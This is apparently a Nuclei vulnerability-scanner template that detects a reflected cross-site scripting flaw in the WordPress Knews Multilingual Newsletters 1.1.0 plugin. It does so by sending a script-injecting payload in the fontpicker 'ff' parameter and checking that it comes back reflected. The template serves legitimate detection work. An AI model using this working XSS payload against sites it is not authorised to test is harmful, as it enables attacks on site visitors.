nuclei-templates/http/vulnerabilities/wordpress/wp-knews-xss.yaml

52 lines
1.8 KiB
YAML

id: wp-knews-xss
info:
name: WordPress Knews Multilingual Newsletters 1.1.0 - Cross-Site Scripting
author: daffainfo
severity: high
description: WordPress Knews Multilingual Newsletters 1.1.0 plugin contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- http://web.archive.org/web/20210213220043/https://www.securityfocus.com/bid/54330/info
- https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-knews-multilingual-newsletters-ff-parameter-cross-site-scripting-1-1-0
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 1
tags: wordpress,xss,wp-plugin
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/knews/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: word
internal: true
words:
- 'Knews Multilingual Newsletters'
- method: GET
path:
- '{{BaseURL}}/wp-content/plugins/knews/wysiwyg/fontpicker/?ff=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
words:
- "</script><script>alert(document.domain)</script>"
part: body
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4b0a00483046022100f86593fa600eb03371c2ecd3c3b12174cfab2a31de735b160731faf699569e10022100b4a1c2a72d5e2bb5beb38499617ee91de880b0756c22288c5f8bb17da06fc88b:922c64590222798bb761d5b6d8e72950